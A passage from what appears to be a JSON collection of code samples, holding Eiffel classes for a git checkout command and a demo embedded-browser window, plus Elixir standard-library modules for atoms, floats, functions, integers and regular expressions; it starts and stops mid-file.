t))\n\t\t\t\telse\n\t\t\t\t\tt.set_interval (1_000)\n\t\t\t\tend\n\t\t\t\tt.set_interval (1_000)\n\t\t\tend\n\t\tend\n\n\tobserver_has_terminaded (obs: separate WGI_STANDALONE_SERVER_OBSERVER): BOOLEAN\n\t\tdo\n\t\t\tResult := obs.terminated\n\t\tend\n\nfeature {NONE} -- Implementation\n\n\tmain_window: detachable MAIN_WINDOW\n\t\t-- Main window of `Current'\n\n;note\n\tcopyright:\t\"Copyright (c) 1984-2009, Eiffel Software and others\"\n\tlicense:\t\"Eiffel Forum License v2 (see http://www.eiffel.com/licensing/forum.txt)\"\n\tsource: \"[\n\t\t\t Eiffel Software\n\t\t\t 356 Storke Road, Goleta, CA 93117 USA\n\t\t\t Telephone 805-685-1006, Fax 805-685-6869\n\t\t\t Website http://www.eiffel.com\n\t\t\t Customer support http://support.eiffel.com\n\t\t]\"\n\n\nend\n"
  },
  {
    "path": "samples/Eiffel/git_checkout_command.e",
    "content": "note\n\tdescription: \"Git checkout command.\"\n\tauthor: \"Olivier Ligot\"\n\nclass\n\tGIT_CHECKOUT_COMMAND\n\ninherit\n\tGIT_COMMAND\n\ncreate\n\tmake,\n\tmake_master\n\nfeature {NONE} -- Initialization\n\n\tmake (a_branch: STRING)\n\t\t\t-- Checkout the branch `a_branch'.\n\t\tdo\n\t\t\tinitialize\n\t\t\targuments.force_last (a_branch)\n\t\t\tbranch := a_branch\n\t\tensure\n\t\t\tbranch_set: branch = a_branch\n\t\tend\n\n\tmake_master\n\t\t\t-- Checkout the master branch.\n\t\tdo\n\t\t\tmake (\"master\")\n\t\tend\n\nfeature -- Access\n\n\tbranch: STRING\n\t\t\t-- Branch to checkout\n\n\tname: STRING = \"checkout\"\n\t\t\t-- Git subcommand name\n\nend\n"
  },
  {
    "path": "samples/Eiffel/main_window.e",
    "content": "note\n\tdescription: \"Objects that represent an EV_TITLED_WINDOW.%\n\t\t%The original version of this class was generated by EiffelBuild.\"\n\tgenerator: \"EiffelBuild\"\n\tlegal: \"See notice at end of class.\"\n\tstatus: \"See notice at end of class.\"\n\tdate: \"$Date$\"\n\trevision: \"$Revision$\"\n\nclass\n\tMAIN_WINDOW\n\ninherit\n\tEV_TITLED_WINDOW\n\t\tredefine\n\t\t\tcreate_interface_objects, initialize, is_in_default_state\n\t\tend\n\n\tSHARED_EMBEDED_WEB_SERVICE_INFORMATION\n\t\tundefine\n\t\t\tdefault_create, copy\n\t\tend\n\ncreate\n\tmake\n\nfeature {NONE} -- Initialization\n\n\tmake\n\t\t\t-- Creation method\n\t\tdo\n\t\t\tdefault_create\n\t\tend\n\n\tinitialize\n\t\t\t-- Initialize `Current'.\n\t\tdo\n\t\t\tPrecursor {EV_TITLED_WINDOW}\n\n\t\t\tset_title (\"Desktop Application (demo embedded EWF+browser)\")\n\n\t\t\t\t-- Connect events.\n\t\t\t\t-- Close the application when an interface close\n\t\t\t\t-- request is received on `Current'. i.e. the cross is clicked.\n\t\t\tclose_request_actions.extend (agent destroy_and_exit_if_last)\n\n\t\t\t\t-- Call `user_initialization'.\n\t\t\tuser_initialization\n\t\tend\n\n\tcreate_interface_objects\n\t\t\t-- Create objects\n\t\tdo\n\t\t\tcreate home_button.make_with_text (\"Home\")\n\t\t\tcreate back_button.make_with_text (\"Back\")\n\t\t\tcreate forth_button.make_with_text (\"Forth\")\n\t\t\tcreate refresh_button.make_with_text (\"Refresh\")\n\t\t\tcreate stop_button.make_with_text (\"Stop\")\n\t\t\tcreate url_text_field.make_with_text (\"http://localhost:\" + port_number.out)\n\t\t\tcreate go_button.make_with_text (\"Go\")\n\n\t\t\tcreate web_browser\n\t\tend\n\n\tuser_initialization\n\t\t\t-- Called by `initialize'.\n\t\t\t-- Any custom user initialization that\n\t\t\t-- could not be performed in `initialize',\n\t\t\t-- (due to regeneration of implementation class)\n\t\t\t-- can be added here.\n\t\tlocal\n\t\t\tl_browser_box: EV_VERTICAL_BOX\n\t\t\tl_hor_box: EV_HORIZONTAL_BOX\n\t\t\tvb: EV_VERTICAL_BOX\n\t\tdo\n\t\t\tset_size (800, 600)\n\n\t\t\tcreate vb\n\t\t\textend (vb)\n\t\t\tvb.set_border_width (3)\n\t\t\tvb.set_padding_width (3)\n\n\t\t\t\t-- browser part\t\t\t\t\t\t\t\t\n\t\t\tcreate l_browser_box\n\n\t\t\tcreate l_hor_box\n\t\t\tl_browser_box.extend (l_hor_box)\n\t\t\tl_browser_box.disable_item_expand (l_hor_box)\n\n\t\t\thome_button.select_actions.force_extend (agent on_home_button_action)\n\t\t\tl_hor_box.extend (home_button)\n\t\t\tl_hor_box.disable_item_expand (home_button)\n\n\t\t\tback_button.select_actions.force_extend (agent on_back_button_action)\n\t\t\tl_hor_box.extend (back_button)\n\t\t\tl_hor_box.disable_item_expand (back_button)\n\n\t\t\tforth_button.select_actions.force_extend (agent on_forth_button_action)\n\t\t\tl_hor_box.extend (forth_button)\n\t\t\tl_hor_box.disable_item_expand (forth_button)\n\n\t\t\trefresh_button.select_actions.force_extend (agent on_refresh_button_action)\n\t\t\tl_hor_box.extend (refresh_button)\n\t\t\tl_hor_box.disable_item_expand (refresh_button)\n\n\t\t\tstop_button.select_actions.force_extend (agent on_stop_button_action)\n\t\t\tl_hor_box.extend (stop_button)\n\t\t\tl_hor_box.disable_item_expand (stop_button)\n\n\t\t\tl_hor_box.extend (url_text_field)\n\n\t\t\tgo_button.select_actions.force_extend (agent on_go_button_action)\n\t\t\tl_hor_box.extend (go_button)\n\t\t\tl_hor_box.disable_item_expand (go_button)\n\n\t\t\tl_browser_box.extend (web_browser)\n\n\t\t\t--------------------\n\t\t\tvb.extend (l_browser_box)\n\t\tend\n\n\tis_in_default_state: BOOLEAN\n\t\tdo\n\t\t\tResult := True\n\t\tend\n\nfeature -- Basic operation\n\n\topen_link\n\t\tdo\n\t\t\turl_text_field.set_text (\"http://localhost:\" + port_number.out)\n\t\t\ton_go_button_action\n\t\tend\n\nfeature {NONE} -- Implementation\n\n\thome_button, go_button, back_button, forth_button, stop_button, refresh_button: EV_BUTTON\n\t\t\t-- Buttons\n\n\turl_text_field: EV_TEXT_FIELD\n\t\t\t-- URL text field\n\n\ton_go_button_action\n\t\t\t-- Action for `go_button'\n\t\tlocal\n\t\t\tl_uri: STRING_32\n\t\tdo\n\t\t\tl_uri := url_text_field.text\n\t\t\tif l_uri /= Void and then not l_uri.is_empty then\n\t\t\t\tweb_browser.load_uri (l_uri)\n\t\t\telse\n\t\t\t\ton_home_button_action\n\t\t\tend\n\t\tend\n\n\ton_home_button_action\n\t\t\t-- Action for `home_button'\n\t\tdo\n\t\t\tweb_browser.load_uri (\"http://localhost:\" + port_number.out)\n\t\tend\n\n\ton_back_button_action\n\t\t\t-- Action for `back_button'\n\t\tdo\n\t\t\tweb_browser.back\n\t\tend\n\n\ton_forth_button_action\n\t\t\t-- Action for `forth_button'\n\t\tdo\n\t\t\tweb_browser.forth\n\t\tend\n\n\ton_refresh_button_action\n\t\t\t-- Action for `refresh_button'\n\t\tdo\n\t\t\tweb_browser.refresh\n\t\tend\n\n\ton_stop_button_action\n\t\t\t-- Action for `stop_button'\n\t\tdo\n\t\t\tweb_browser.stop\n\t\tend\n\n\tweb_browser: EV_WEB_BROWSER\n\t\t\t-- Web browser widget\n\n;note\n\tcopyright:\t\"Copyright (c) 1984-2009, Eiffel Software and others\"\n\tlicense:\t\"Eiffel Forum License v2 (see http://www.eiffel.com/licensing/forum.txt)\"\n\tsource: \"[\n\t\t\t Eiffel Software\n\t\t\t 356 Storke Road, Goleta, CA 93117 USA\n\t\t\t Telephone 805-685-1006, Fax 805-685-6869\n\t\t\t Website http://www.eiffel.com\n\t\t\t Customer support http://support.eiffel.com\n\t\t]\"\n\n\nend\n"
  },
  {
    "path": "samples/Elixir/atom.ex",
    "content": "defmodule Atom do\n  @moduledoc \"\"\"\n  Atoms are constants whose values are their own name.\n  \"\"\"\n\n  @doc \"\"\"\n  Converts an atom to a string.\n  \"\"\"\n  @spec to_string(atom) :: String.t()\n  def to_string(atom) do\n    :erlang.atom_to_binary(atom, :utf8)\n  end\n\n  @doc \"\"\"\n  Converts an atom to a charlist.\n  \"\"\"\n  @spec to_charlist(atom) :: charlist\n  def to_charlist(atom) do\n    :erlang.atom_to_list(atom)\n  end\n\n  @doc false\n  @deprecated \"Use Atom.to_charlist/1 instead\"\n  @spec to_char_list(atom) :: charlist\n  def to_char_list(atom), do: Atom.to_charlist(atom)\nend\n"
  },
  {
    "path": "samples/Elixir/float.ex",
    "content": "import Kernel, except: [round: 1]\n\ndefmodule Float do\n  @moduledoc \"\"\"\n  Functions for working with floating-point numbers.\n  \"\"\"\n\n  import Bitwise\n\n  @power_of_2_to_52 4_503_599_627_370_496\n  @precision_range 0..15\n  @type precision_range :: 0..15\n\n  @doc \"\"\"\n  Computes `base` raised to power of `exponent`.\n  \"\"\"\n  @doc since: \"1.12.0\"\n  @spec pow(float, number) :: float\n  def pow(base, exponent) when is_float(base) and is_number(exponent),\n    do: :math.pow(base, exponent)\n\n  @doc \"\"\"\n  Parses a binary into a float.\n  \"\"\"\n  @spec parse(binary) :: {float, binary} | :error\n  def parse(\"-\" <> binary) do\n    case parse_unsigned(binary) do\n      :error -> :error\n      {number, remainder} -> {-number, remainder}\n    end\n  end\n\n  def parse(\"+\" <> binary) do\n    parse_unsigned(binary)\n  end\n\n  def parse(binary) do\n    parse_unsigned(binary)\n  end\n\n  defp parse_unsigned(<<digit, rest::binary>>) when digit in ?0..?9,\n    do: parse_unsigned(rest, false, false, <<digit>>)\n\n  defp parse_unsigned(binary) when is_binary(binary), do: :error\n\n  defp parse_unsigned(<<digit, rest::binary>>, dot?, e?, acc) when digit in ?0..?9,\n    do: parse_unsigned(rest, dot?, e?, <<acc::binary, digit>>)\n\n  defp parse_unsigned(<<?., digit, rest::binary>>, false, false, acc) when digit in ?0..?9,\n    do: parse_unsigned(rest, true, false, <<acc::binary, ?., digit>>)\n\n  defp parse_unsigned(<<exp_marker, digit, rest::binary>>, dot?, false, acc)\n       when exp_marker in 'eE' and digit in ?0..?9,\n       do: parse_unsigned(rest, true, true, <<add_dot(acc, dot?)::binary, ?e, digit>>)\n\n  defp parse_unsigned(<<exp_marker, sign, digit, rest::binary>>, dot?, false, acc)\n       when exp_marker in 'eE' and sign in '-+' and digit in ?0..?9,\n       do: parse_unsigned(rest, true, true, <<add_dot(acc, dot?)::binary, ?e, sign, digit>>)\n\n  defp parse_unsigned(rest, dot?, _e?, acc),\n    do: {:erlang.binary_to_float(add_dot(acc, dot?)), rest}\n\n  defp add_dot(acc, true), do: acc\n  defp add_dot(acc, false), do: acc <> \".0\"\n\n  @doc \"\"\"\n  Rounds a float to the largest number less than or equal to `num`.\n  \"\"\"\n  @spec floor(float, precision_range) :: float\n  def floor(number, precision \\\\ 0)\n\n  def floor(number, 0) when is_float(number) do\n    :math.floor(number)\n  end\n\n  def floor(number, precision) when is_float(number) and precision in @precision_range do\n    round(number, precision, :floor)\n  end\n\n  def floor(number, precision) when is_float(number) do\n    raise ArgumentError, invalid_precision_message(precision)\n  end\n\n  @doc \"\"\"\n  Rounds a float to the smallest integer greater than or equal to `num`.\n  \"\"\"\n  @spec ceil(float, precision_range) :: float\n  def ceil(number, precision \\\\ 0)\n\n  def ceil(number, 0) when is_float(number) do\n    :math.ceil(number)\n  end\n\n  def ceil(number, precision) when is_float(number) and precision in @precision_range do\n    round(number, precision, :ceil)\n  end\n\n  def ceil(number, precision) when is_float(number) do\n    raise ArgumentError, invalid_precision_message(precision)\n  end\n\n  @doc \"\"\"\n  Rounds a floating-point value to an arbitrary number of fractional\n  digits (between 0 and 15).\n  \"\"\"\n  @spec round(float, precision_range) :: float\n  # This implementation is slow since it relies on big integers.\n  # Faster implementations are available on more recent papers\n  # and could be implemented in the future.\n  def round(float, precision \\\\ 0)\n\n  def round(float, 0) when is_float(float) do\n    float |> :erlang.round() |> :erlang.float()\n  end\n\n  def round(float, precision) when is_float(float) and precision in @precision_range do\n    round(float, precision, :half_up)\n  end\n\n  def round(float, precision) when is_float(float) do\n    raise ArgumentError, invalid_precision_message(precision)\n  end\n\n  defp round(0.0 = num, _precision, _rounding), do: num\n\n  defp round(float, precision, rounding) do\n    <<sign::1, exp::11, significant::52-bitstring>> = <<float::float>>\n    {num, count} = decompose(significant, 1)\n    count = count - exp + 1023\n\n    cond do\n      # Precision beyond 15 digits\n      count >= 104 ->\n        case rounding do\n          :ceil when sign === 0 -> 1 / power_of_10(precision)\n          :floor when sign === 1 -> -1 / power_of_10(precision)\n          _ -> 0.0\n        end\n\n      # We are asking more precision than we have\n      count <= precision ->\n        float\n\n      true ->\n        # Difference in precision between float and asked precision\n        # We subtract 1 because we need to calculate the remainder too\n        diff = count - precision - 1\n\n        # Get up to latest so we calculate the remainder\n        power_of_10 = power_of_10(diff)\n\n        # Convert the numerand to decimal base\n        num = num * power_of_5(count)\n\n        # Move to the given precision - 1\n        num = div(num, power_of_10)\n        div = div(num, 10)\n        num = rounding(rounding, sign, num, div)\n\n        # Convert back to float without loss\n        # https://www.exploringbinary.com/correct-decimal-to-floating-point-using-big-integers/\n        den = power_of_10(precision)\n        boundary = den <<< 52\n\n        cond do\n          num == 0 ->\n            0.0\n\n          num >= boundary ->\n            {den, exp} = scale_down(num, boundary, 52)\n            decimal_to_float(sign, num, den, exp)\n\n          true ->\n            {num, exp} = scale_up(num, boundary, 52)\n            decimal_to_float(sign, num, den, exp)\n        end\n    end\n  end\n\n  defp decompose(significant, initial) do\n    decompose(significant, 1, 0, initial)\n  end\n\n  defp decompose(<<1::1, bits::bitstring>>, count, last_count, acc) do\n    decompose(bits, count + 1, count, (acc <<< (count - last_count)) + 1)\n  end\n\n  defp decompose(<<0::1, bits::bitstring>>, count, last_count, acc) do\n    decompose(bits, count + 1, last_count, acc)\n  end\n\n  defp decompose(<<>>, _count, last_count, acc) do\n    {acc, last_count}\n  end\n\n  defp scale_up(num, boundary, exp) when num >= boundary, do: {num, exp}\n  defp scale_up(num, boundary, exp), do: scale_up(num <<< 1, boundary, exp - 1)\n\n  defp scale_down(num, den, exp) do\n    new_den = den <<< 1\n\n    if num < new_den do\n      {den >>> 52, exp}\n    else\n      scale_down(num, new_den, exp + 1)\n    end\n  end\n\n  defp decimal_to_float(sign, num, den, exp) do\n    quo = div(num, den)\n    rem = num - quo * den\n\n    tmp =\n      case den >>> 1 do\n        den when rem > den -> quo + 1\n        den when rem < den -> quo\n        _ when (quo &&& 1) === 1 -> quo + 1\n        _ -> quo\n      end\n\n    tmp = tmp - @power_of_2_to_52\n    <<tmp::float>> = <<sign::1, exp + 1023::11, tmp::52>>\n    tmp\n  end\n\n  defp rounding(:floor, 1, _num, div), do: div + 1\n  defp rounding(:ceil, 0, _num, div), do: div + 1\n\n  defp rounding(:half_up, _sign, num, div) do\n    case rem(num, 10) do\n      rem when rem < 5 -> div\n      rem when rem >= 5 -> div + 1\n    end\n  end\n\n  defp rounding(_, _, _, div), do: div\n\n  Enum.reduce(0..104, 1, fn x, acc ->\n    defp power_of_10(unquote(x)), do: unquote(acc)\n    acc * 10\n  end)\n\n  Enum.reduce(0..104, 1, fn x, acc ->\n    defp power_of_5(unquote(x)), do: unquote(acc)\n    acc * 5\n  end)\n\n  @doc \"\"\"\n  Returns a pair of integers whose ratio is exactly equal\n  to the original float and with a positive denominator.\n  \"\"\"\n  @doc since: \"1.4.0\"\n  @spec ratio(float) :: {integer, pos_integer}\n  def ratio(0.0), do: {0, 1}\n\n  def ratio(float) when is_float(float) do\n    <<sign::1, exp::11, mantissa::52>> = <<float::float>>\n\n    {num, den_exp} =\n      if exp != 0 do\n        # Floats are expressed like this:\n        # (2**52 + mantissa) * 2**(-52 + exp - 1023)\n        #\n        # We compute the root factors of the mantissa so we have this:\n        # (2**52 + mantissa * 2**count) * 2**(-52 + exp - 1023)\n        {mantissa, count} = root_factors(mantissa, 0)\n\n        # Now we can move the count around so we have this:\n        # (2**(52-count) + mantissa) * 2**(count + -52 + exp - 1023)\n        if mantissa == 0 do\n          {1, exp - 1023}\n        else\n          num = (1 <<< (52 - count)) + mantissa\n          den_exp = count - 52 + exp - 1023\n          {num, den_exp}\n        end\n      else\n        # Subnormals are expressed like this:\n        # (mantissa) * 2**(-52 + 1 - 1023)\n        #\n        # So we compute it to this:\n        # (mantissa * 2**(count)) * 2**(-52 + 1 - 1023)\n        #\n        # Which becomes:\n        # mantissa * 2**(count-1074)\n        root_factors(mantissa, -1074)\n      end\n\n    if den_exp > 0 do\n      {sign(sign, num <<< den_exp), 1}\n    else\n      {sign(sign, num), 1 <<< -den_exp}\n    end\n  end\n\n  defp root_factors(mantissa, count) when mantissa != 0 and (mantissa &&& 1) == 0,\n    do: root_factors(mantissa >>> 1, count + 1)\n\n  defp root_factors(mantissa, count),\n    do: {mantissa, count}\n\n  @compile {:inline, sign: 2}\n  defp sign(0, num), do: num\n  defp sign(1, num), do: -num\n\n  @doc \"\"\"\n  Returns a charlist which corresponds to the text representation\n  of the given float.\n  \"\"\"\n  @spec to_charlist(float) :: charlist\n  def to_charlist(float) when is_float(float) do\n    :io_lib_format.fwrite_g(float)\n  end\n\n  @doc \"\"\"\n  Returns a binary which corresponds to the text representation\n  of the given float.\n  \"\"\"\n  @spec to_string(float) :: String.t()\n  def to_string(float) when is_float(float) do\n    IO.iodata_to_binary(:io_lib_format.fwrite_g(float))\n  end\n\n  @doc false\n  @deprecated \"Use Float.to_charlist/1 instead\"\n  def to_char_list(float), do: Float.to_charlist(float)\n\n  @doc false\n  @deprecated \"Use :erlang.float_to_list/2 instead\"\n  def to_char_list(float, options) do\n    :erlang.float_to_list(float, expand_compact(options))\n  end\n\n  @doc false\n  @deprecated \"Use :erlang.float_to_binary/2 instead\"\n  def to_string(float, options) do\n    :erlang.float_to_binary(float, expand_compact(options))\n  end\n\n  defp invalid_precision_message(precision) do\n    \"precision #{precision} is out of valid range of #{inspect(@precision_range)}\"\n  end\n\n  defp expand_compact([{:compact, false} | t]), do: expand_compact(t)\n  defp expand_compact([{:compact, true} | t]), do: [:compact | expand_compact(t)]\n  defp expand_compact([h | t]), do: [h | expand_compact(t)]\n  defp expand_compact([]), do: []\nend\n"
  },
  {
    "path": "samples/Elixir/function.ex",
    "content": "defmodule Function do\n  @moduledoc \"\"\"\n  A set of functions for working with functions.\n  \"\"\"\n\n  @type information ::\n          :arity\n          | :env\n          | :index\n          | :module\n          | :name\n          | :new_index\n          | :new_uniq\n          | :pid\n          | :type\n          | :uniq\n\n  @doc \"\"\"\n  Captures the given function.\n  \"\"\"\n  @doc since: \"1.7.0\"\n  @spec capture(module, atom, arity) :: fun\n  def capture(module, function_name, arity) do\n    :erlang.make_fun(module, function_name, arity)\n  end\n\n  @doc \"\"\"\n  Returns a keyword list with information about a function.\n  \"\"\"\n  @doc since: \"1.7.0\"\n  @spec info(fun) :: [{information, term}]\n  def info(fun), do: :erlang.fun_info(fun)\n\n  @doc \"\"\"\n  Returns a specific information about the function.\n  \"\"\"\n  @doc since: \"1.7.0\"\n  @spec info(fun, item) :: {item, term} when item: information\n  def info(fun, item), do: :erlang.fun_info(fun, item)\n\n  @doc \"\"\"\n  Returns its input `value`. This function can be passed as an anonymous function\n  to transformation functions.\n  \"\"\"\n  @doc since: \"1.10.0\"\n  @spec identity(value) :: value when value: var\n  def identity(value), do: value\nend\n"
  },
  {
    "path": "samples/Elixir/integer.ex",
    "content": "defmodule Integer do\n  @moduledoc \"\"\"\n  Functions for working with integers.\n  \"\"\"\n\n  import Bitwise\n\n  @doc \"\"\"\n  Determines if `integer` is odd.\n  \"\"\"\n  defguard is_odd(integer) when is_integer(integer) and (integer &&& 1) == 1\n\n  @doc \"\"\"\n  Determines if an `integer` is even.\n  \"\"\"\n  defguard is_even(integer) when is_integer(integer) and (integer &&& 1) == 0\n\n  @doc \"\"\"\n  Computes `base` raised to power of `exponent`.\n  \"\"\"\n  @doc since: \"1.12.0\"\n  @spec pow(integer, non_neg_integer) :: integer\n  def pow(base, exponent) when is_integer(base) and is_integer(exponent) do\n    if exponent < 0, do: :erlang.error(:badarith, [base, exponent])\n    guarded_pow(base, exponent)\n  end\n\n  # https://en.wikipedia.org/wiki/Exponentiation_by_squaring\n  defp guarded_pow(_, 0), do: 1\n  defp guarded_pow(b, 1), do: b\n  defp guarded_pow(b, e) when (e &&& 1) == 0, do: guarded_pow(b * b, e >>> 1)\n  defp guarded_pow(b, e), do: b * guarded_pow(b * b, e >>> 1)\n\n  @doc \"\"\"\n  Computes the modulo remainder of an integer division.\n  \"\"\"\n  @doc since: \"1.4.0\"\n  @spec mod(integer, neg_integer | pos_integer) :: integer\n  def mod(dividend, divisor) do\n    remainder = rem(dividend, divisor)\n\n    if remainder * divisor < 0 do\n      remainder + divisor\n    else\n      remainder\n    end\n  end\n\n  @doc \"\"\"\n  Performs a floored integer division.\n  \"\"\"\n  @doc since: \"1.4.0\"\n  @spec floor_div(integer, neg_integer | pos_integer) :: integer\n  def floor_div(dividend, divisor) do\n    if dividend * divisor < 0 and rem(dividend, divisor) != 0 do\n      div(dividend, divisor) - 1\n    else\n      div(dividend, divisor)\n    end\n  end\n\n  @doc \"\"\"\n  Returns the ordered digits for the given `integer`.\n  \"\"\"\n  @spec digits(integer, pos_integer) :: [integer, ...]\n  def digits(integer, base \\\\ 10)\n      when is_integer(integer) and is_integer(base) and base >= 2 do\n    do_digits(integer, base, [])\n  end\n\n  defp do_digits(integer, base, acc) when abs(integer) < base, do: [integer | acc]\n\n  defp do_digits(integer, base, acc),\n    do: do_digits(div(integer, base), base, [rem(integer, base) | acc])\n\n  @doc \"\"\"\n  Returns the integer represented by the ordered `digits`.\n  \"\"\"\n  @spec undigits([integer], pos_integer) :: integer\n  def undigits(digits, base \\\\ 10) when is_list(digits) and is_integer(base) and base >= 2 do\n    do_undigits(digits, base, 0)\n  end\n\n  defp do_undigits([], _base, acc), do: acc\n\n  defp do_undigits([digit | _], base, _) when is_integer(digit) and digit >= base,\n    do: raise(ArgumentError, \"invalid digit #{digit} in base #{base}\")\n\n  defp do_undigits([digit | tail], base, acc) when is_integer(digit),\n    do: do_undigits(tail, base, acc * base + digit)\n\n  @doc \"\"\"\n  Parses a text representation of an integer.\n  \"\"\"\n  @spec parse(binary, 2..36) :: {integer, binary} | :error\n  def parse(binary, base \\\\ 10)\n\n  def parse(_binary, base) when base not in 2..36 do\n    raise ArgumentError, \"invalid base #{inspect(base)}\"\n  end\n\n  def parse(binary, base) when is_binary(binary) do\n    case count_digits(binary, base) do\n      0 ->\n        :error\n\n      count ->\n        {digits, rem} = :erlang.split_binary(binary, count)\n        {:erlang.binary_to_integer(digits, base), rem}\n    end\n  end\n\n  defp count_digits(<<sign, rest::bits>>, base) when sign in '+-' do\n    case count_digits_nosign(rest, base, 1) do\n      1 -> 0\n      count -> count\n    end\n  end\n\n  defp count_digits(<<rest::bits>>, base) do\n    count_digits_nosign(rest, base, 0)\n  end\n\n  digits = [{?0..?9, -?0}, {?A..?Z, 10 - ?A}, {?a..?z, 10 - ?a}]\n\n  for {chars, diff} <- digits,\n      char <- chars do\n    digit = char + diff\n\n    defp count_digits_nosign(<<unquote(char), rest::bits>>, base, count)\n         when base > unquote(digit) do\n      count_digits_nosign(rest, base, count + 1)\n    end\n  end\n\n  defp count_digits_nosign(<<_::bits>>, _, count), do: count\n\n  # TODO: Remove Integer.to_string/1 once the minimum supported version is\n  #       Erlang/OTP 22, since it is covered by the now BIF Integer.to_string/2.\n  #       Please reapply commit 2622fd6b0aa419a983a899a1fbdb5deefba3d85d.\n  @doc \"\"\"\n  Returns a binary which corresponds to the text representation\n  of `integer`.\n  \"\"\"\n  @spec to_string(integer) :: String.t()\n  def to_string(integer) do\n    :erlang.integer_to_binary(integer)\n  end\n\n  @doc \"\"\"\n  Returns a binary which corresponds to the text representation\n  of `integer` in the given `base`.\n  \"\"\"\n  @spec to_string(integer, 2..36) :: String.t()\n  def to_string(integer, base) do\n    :erlang.integer_to_binary(integer, base)\n  end\n\n  # TODO: Remove Integer.to_charlist/1 once the minimum supported version is\n  #       Erlang/OTP 22, since it is covered by the now BIF Integer.to_charlist/2.\n  #       Please reapply commit 2622fd6b0aa419a983a899a1fbdb5deefba3d85d.\n  @doc \"\"\"\n  Returns a charlist which corresponds to the text representation of the given `integer`.\n  \"\"\"\n  @spec to_charlist(integer) :: charlist\n  def to_charlist(integer) do\n    :erlang.integer_to_list(integer)\n  end\n\n  @doc \"\"\"\n  Returns a charlist which corresponds to the text representation of `integer` in the given `base`.\n  \"\"\"\n  @spec to_charlist(integer, 2..36) :: charlist\n  def to_charlist(integer, base) do\n    :erlang.integer_to_list(integer, base)\n  end\n\n  @doc \"\"\"\n  Returns the greatest common divisor of the two given integers.\n  \"\"\"\n  @doc since: \"1.5.0\"\n  @spec gcd(integer, integer) :: non_neg_integer\n  def gcd(integer1, integer2) when is_integer(integer1) and is_integer(integer2) do\n    gcd_positive(abs(integer1), abs(integer2))\n  end\n\n  defp gcd_positive(0, integer2), do: integer2\n  defp gcd_positive(integer1, 0), do: integer1\n  defp gcd_positive(integer1, integer2), do: gcd_positive(integer2, rem(integer1, integer2))\n\n  @doc false\n  @deprecated \"Use Integer.to_charlist/1 instead\"\n  def to_char_list(integer), do: Integer.to_charlist(integer)\n\n  @doc false\n  @deprecated \"Use Integer.to_charlist/2 instead\"\n  def to_char_list(integer, base), do: Integer.to_charlist(integer, base)\nend\n"
  },
  {
    "path": "samples/Elixir/regex.ex",
    "content": "defmodule Regex do\n  @moduledoc ~S\"\"\"\n  Provides regular expressions for Elixir.\n  \"\"\"\n\n  defstruct re_pattern: nil, source: \"\", opts: \"\", re_version: \"\"\n\n  @type t :: %__MODULE__{re_pattern: term, source: binary, opts: binary}\n\n  defmodule CompileError do\n    defexception message: \"regex could not be compiled\"\n  end\n\n  @doc \"\"\"\n  Compiles the regular expression.\n  \"\"\"\n  @spec compile(binary, binary | [term]) :: {:ok, t} | {:error, any}\n  def compile(source, options \\\\ \"\") when is_binary(source) do\n    compile(source, options, version())\n  end\n\n  defp compile(source, options, version) when is_binary(options) do\n    case translate_options(options, []) do\n      {:error, rest} ->\n        {:error, {:invalid_option, rest}}\n\n      translated_options ->\n        compile(source, translated_options, options, version)\n    end\n  end\n\n  defp compile(source, options, version) when is_list(options) do\n    compile(source, options, \"\", version)\n  end\n\n  defp compile(source, opts, doc_opts, version) do\n    case :re.compile(source, opts) do\n      {:ok, re_pattern} ->\n        {:ok, %Regex{re_pattern: re_pattern, re_version: version, source: source, opts: doc_opts}}\n\n      error ->\n        error\n    end\n  end\n\n  @doc \"\"\"\n  Compiles the regular expression and raises `Regex.CompileError` in case of errors.\n  \"\"\"\n  @spec compile!(binary, binary | [term]) :: t\n  def compile!(source, options \\\\ \"\") when is_binary(source) do\n    case compile(source, options) do\n      {:ok, regex} -> regex\n      {:error, {reason, at}} -> raise Regex.CompileError, \"#{reason} at position #{at}\"\n    end\n  end\n\n  @doc \"\"\"\n  Recompiles the existing regular expression if necessary.\n  \"\"\"\n  @doc since: \"1.4.0\"\n  @spec recompile(t) :: {:ok, t} | {:error, any}\n  def recompile(%Regex{} = regex) do\n    version = version()\n\n    case regex do\n      %{re_version: ^version} ->\n        {:ok, regex}\n\n      _ ->\n        %{source: source, opts: opts} = regex\n        compile(source, opts, version)\n    end\n  end\n\n  @doc \"\"\"\n  Recompiles the existing regular expression and raises `Regex.CompileError` in case of errors.\n  \"\"\"\n  @doc since: \"1.4.0\"\n  @spec recompile!(t) :: t\n  def recompile!(regex) do\n    case recompile(regex) do\n      {:ok, regex} -> regex\n      {:error, {reason, at}} -> raise Regex.CompileError, \"#{reason} at position #{at}\"\n    end\n  end\n\n  @doc \"\"\"\n  Returns the version of the underlying Regex engine.\n  \"\"\"\n  @doc since: \"1.4.0\"\n  @spec version :: term()\n  def version do\n    {:re.version(), :erlang.system_info(:endian)}\n  end\n\n  @doc \"\"\"\n  Returns a boolean indicating whether there was a match or not.\n  \"\"\"\n  @spec match?(t, String.t()) :: boolean\n  def match?(%Regex{} = regex, string) when is_binary(string) do\n    safe_run(regex, string, [{:capture, :none}]) == :match\n  end\n\n  @doc \"\"\"\n  Returns `true` if the given `term` is a regex.\n  Otherwise returns `false`.\n  \"\"\"\n  # TODO: deprecate permanently on Elixir v1.15\n  @doc deprecated: \"Use Kernel.is_struct/2 or pattern match on %Regex{} instead\"\n  def regex?(term)\n  def regex?(%Regex{}), do: true\n  def regex?(_), do: false\n\n  @doc \"\"\"\n  Runs the regular expression against the given string until the first match.\n  It returns a list with all captures or `nil` if no match occurred.\n  \"\"\"\n  @spec run(t, binary, [term]) :: nil | [binary] | [{integer, integer}]\n  def run(regex, string, options \\\\ [])\n\n  def run(%Regex{} = regex, string, options) when is_binary(string) do\n    return = Keyword.get(options, :return, :binary)\n    captures = Keyword.get(options, :capture, :all)\n    offset = Keyword.get(options, :offset, 0)\n\n    case safe_run(regex, string, [{:capture, captures, return}, {:offset, offset}]) do\n      :nomatch -> nil\n      :match -> []\n      {:match, results} -> results\n    end\n  end\n\n  @doc \"\"\"\n  Returns the given captures as a map or `nil` if no captures are found.\n  \"\"\"\n  @spec named_captures(t, String.t(), [term]) :: map | nil\n  def named_captures(regex, string, options \\\\ []) when is_binary(string) do\n    names = names(regex)\n    options = Keyword.put(options, :capture, names)\n    results = run(regex, string, options)\n    if results, do: Enum.zip(names, results) |> Enum.into(%{})\n  end\n\n  @doc \"\"\"\n  Returns the underlying `re_pattern` in the regular expression.\n  \"\"\"\n  @spec re_pattern(t) :: term\n  def re_pattern(%Regex{re_pattern: compiled}) do\n    compiled\n  end\n\n  @doc 